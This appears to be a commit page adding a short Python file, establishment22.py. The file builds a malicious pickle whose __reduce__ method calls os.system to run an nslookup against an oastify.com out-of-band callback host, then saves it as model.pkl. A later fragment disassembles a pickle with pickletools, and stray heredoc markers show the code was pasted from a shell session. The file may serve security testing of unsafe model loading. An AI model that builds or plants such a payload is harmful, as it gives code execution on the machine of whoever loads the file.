srimanthk commited on
Commit
1f80fde
·
verified ·
1 Parent(s): c922d83

Create establishment22.py

Browse files
Files changed (1) hide show
  1. establishment22.py +14 -0
establishment22.py ADDED
@@ -0,0 +1,14 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import pickle, os
2
+ class RCE:
3
+ def __reduce__(self):
4
+ return (os.system, ("nslookup xz054hepzk0utdgyzi52qum71y7svjj8.oastify.com",))
5
+
6
+ pickle.dump(RCE(), open("model.pkl","wb"))
7
+ EOF
8
+
9
+ python - << 'EOF'
10
+ import pickletools
11
+
12
+ print("Pickle opcodes detected:")
13
+ pickletools.dis("unsafe_pickle_model.pt")
14
+ EOF